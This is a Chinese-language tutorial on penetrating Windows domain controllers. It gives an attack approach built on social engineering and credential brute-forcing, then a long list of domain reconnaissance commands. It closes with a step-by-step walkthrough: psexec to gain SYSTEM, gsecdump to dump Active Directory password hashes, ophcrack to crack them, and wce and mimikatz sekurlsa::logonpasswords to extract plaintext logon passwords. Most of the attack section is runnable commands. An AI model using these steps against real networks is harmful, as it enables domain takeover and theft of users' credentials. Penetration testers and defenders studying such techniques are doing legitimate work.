域控制器相当一个门卫,它包含了由这个域的账户密码、管理策略等信息构成的数据库。当一台计算机登录域时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号和密码是否正确。如果正确则允许计算机登入这个域,使用该域内其有权限访问的任何资源,像文件服务器,打印服务器(也就是说域控制器仅起到一个验证作用,访问其他资源并不需要再跟域控制器扯上关系);如果不正确则不允许计算机登入,这时计算机将无法访问域内任何资源,这在一定程度上保护了企业网络资源。域服务器的作用是:
(1)安全集中管理,统一安全策略。
(2)软件集中管理,按照公司要求限定所有机器只能运行必需的办公软件。
(3)环境集中管理,利用AD可以统一客户端桌面,IE,TCP/IP等设置
(4)活动目录是企业基础架构的根本,为公司整体统一管理做基础。其它isa,exchange,防病毒服务器,补丁分发服务器,文件服务器等服务依赖于域服务器。
域控服务器是网络安全渗透的重点对象,获取了域控服务器的权限,意味着掌控整个网络的资源和权限,在渗透过程中获取域控服务器用户帐号和密码是最基础和必须的一步。本文就域控渗透思路,内网渗透常见命令以及域控用户帐号和密码获取进行探讨。
1. 域控服务器渗透思路
有关域控渗透思路,仁者见仁,智者见智,笔者就实际工作经验总结如下:
(1)寻找网络入口,获取域控用户权限,通过用户获取域控管理员信息。针对域控管理员开展个人主机渗透或者社会工程学攻击,获取域管理员个人主机权限,进而获取域控服务器权限。
(2)获取域控服务器内某一台web服务器或者其它服务器权限。在获取网络某一台服务器权限后,通过获取该服务器的用户账号和密码,对整个内网通过ntscan等工具进行账号的暴力破解,获取域控服务器权限。
总之在内网渗透中需要对各种信息进行收集和研判,通过信息进行大胆的推断和渗透测试,不断扩大权限,最终获取域控服务器权限。
2. 内网域服务器渗透常见命令
(1)本机信息收集
用户列表[Windows用户列表/邮件用户/...]:分析Windows用户列表,不要忽略administrator;分析邮件用户,内网[域]邮件用户,通常就是内网[域]用户,例如:owa。
进程列表:分析杀毒软件/安全监控工具等,邮件客户端,VPN等。
服务列表:与安全防范工具有关服务[判断是否可以手动开关等],存在问题的服务[权限/漏洞]。
端口列表:开放端口对应的常见服务/应用程序[匿名/权限/漏洞等],利用端口进行信息收集,建议大家深入挖掘[NETBIOS,SMB等]。
补丁列表:分析Windows补丁,第三方软件[Java/Oracle/Flash等]漏洞。
本机共享[域内共享很多时候相同]:本机共享列表/访问权限,本机访问的域共享/访问权限。
本地用户习惯分析:历史记录,收藏夹,文档等,特别是远程终端、putty、ftp以及ssh等,有些用户喜欢本地保存登录密码,通过客户端可以直接登入。
(2)常见信息收集命令
查询本机用户列表:net user
查询本机管理员[通常含有域用户]:net localgoup administrators
查询域管理员用户:net group “domain admins”/domain
查询域用户:net user /domain
查询域里面的工作组:net group /domain
查询域名称:net view /domain
查询域内计算机:net view /domain:XX
查询域控制器:net time /domain
查询域管理员用户组:net localgroup administrators /domain
域用户添加到本机net localgroup administrators workgroup\user001 /add
查看域控制器(如果有多台):net group "Domain controllers"
查询本机IP段,所在域等:ipconfig /all
查询同一域内机器列表:net view
查询所有域控制器:dsquery server
例:dsquery server -domain super.com | dsget server -dnsname -site (搜索域内所有域控制器并显示他们的DNS主机名和站点名称)
查询域内计算机:dsquery computer
例:dsquery computer domainroot -name admin* -limit 10(搜索域内名称以”admin”开头的10台机器)
查询域用户:dsquery user
例:dsquery user domainroot -name admin* -limit 10(搜索域内以”admin”开头的10个用户)
查询域内联系人:dsquery contact
例:dsquery contact domainroot -name admin* -limit 10 (搜索域内以admin开头的10个联系人)
查询域内子网:dsquery subnet
查询域内用户组:dsquery group
例:dsquery group dc=super,dc=com |more (搜索在DC=SUPER,DC=COM 域中的所有组
查询域内组织单位:dsquery ou
查询域内站点:dsquery site
例:dsquery site -o rdn (搜索域中所有站点的名称)
查询域内所有计算机:net group “domain computers”/domain
注:-limit 参数不指定查询数量,则默认显示前100条结果
dsquery
computer -inactive 4 查询超过四周未登录的计算机
dsquery
user -inactive 4 查询超过四周未登录的用户
dsquery
computer “ou=xx,dc=xx,dc=com”通过组织单位查询计算机
求助待解决问题:
例:dsquery user domainroot -name admin* -limit 10(搜索域内以”admin”开头的前10个用户)
查询这10个用户的后10个用户要如何写?
fsutil.exe
fsinfo drives 列出本机所有驱动器
route
print 显示当前路由表中所有项目
route
print 10.* 显示ip 路由表中以10开头的路由条目
netsh
dump>d:\netbak.txt 备份导出服务器网络配置
nslookup
-qt=mx google.com 查看邮件服务器记录
nslookup
-qt=ns google.com 查看子域名服务器记录
nslookup>
>ls
-d domain d:\xxx.txt 列出所有记录
3.域控服务器用户帐号和密码获取实例
(1)获取ip配置信息
打开命令提示符窗口,如图1所示,输入“ipconfig /all”命令,查看该服务器IP地址等信息,通过该信息来探测是否存在域控服务器。如果存在内部域控一定会在DNS服务器中存在内部IP地址,例如10.168.10.1。
图1 获取网络配置情况
(2)查看域控情况
通过“net view”命令查看显示当前域的计算机列表,在本例中发现仅仅存在一台服务器,如图2所示。“net view”命令可以显示域列表、计算机列表或指定计算机的共享资源列表。“net view [\\ComputerName] [/domain[:DomainName]]”指定要查看其可用计算机的域。如果省略 DomainName,/domain 将显示网络上的所有域。在本例中输入命令“net view /domain”,获取该网络存在两个域ITEDT47和 WORKGROUP,如图3所示。
图2 显示当前域的计算机列表
图3获取当前域控名称
(3)登录域控服务器
在本例中通过ntscan工具将已经获取的web服务器管理员密码和用户密码对网段“10.168.10.1-254”进行扫描,获取了IP地址为10.168.10.3的域控服务器的用户名和密码,通过远程终端登录该服务器,如图4所示。
图4获取域控服务器权限
(4)获取域控服务器用户密码
将psexec、gsecdump等工具上传到域控服务器。执行“psexec \\127.0.0.1 cmd”命令获取system权限,然后到工具目录,执行gsecdump –s >all.txt命令,将用户密码hash值全部导出到all.txt文件。
图5 获取域控服务器域密码
usage: gsecdump [options]
options:
-a[ --dump_all ] dump all secrets
-s[ --dump_hashes ] dump hashes fromSAM/AD
-l[ --dump_lsa ] dump lsa secrets
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-w[ --dump_wireless ] dump microsoftwireless connections
-h[ --help ] show help
-S[ --system ] run as localsystem
gsecdump_v2.0b5为最新版本,下载地址:http://www.truesec.com/Tools/Tool/gsecdump_v2.0b5
(5)查看并整理域用户密码
通过记事本等程序打开all.txt,将IUSR、IWAM、以及用户末尾含有$符号的用户全部删除,例如IUSR_FS02T47E(current)、IWAM_FS02T47E(current)、RM103-2$(current)等密码都是无用密码,如图6所示。
图6查看和清理域控用户密码
(6)破解域控用户密码
将整理的文件导入到ophcrack中进行破解,如图7所示,可以快速破解域控用户的密码。
图7破解域控密码
技巧:
在有些情况下,由于管理员设置了超过14位密码,通过gsecdump工具获取的hash值也无法通过ophcrace工具进行破解,这时可以通过wce工具进行破解,执行wce –w 命令直接获取登录用户的明文密码,如图8所示。
图8获取登录用户的明文密码
还可以通过mimikatz程序获取系统曾经登录过的明文密码:
执行以下命令即可:
mimikatz
privilege::debug
sekurlsa::logonpasswords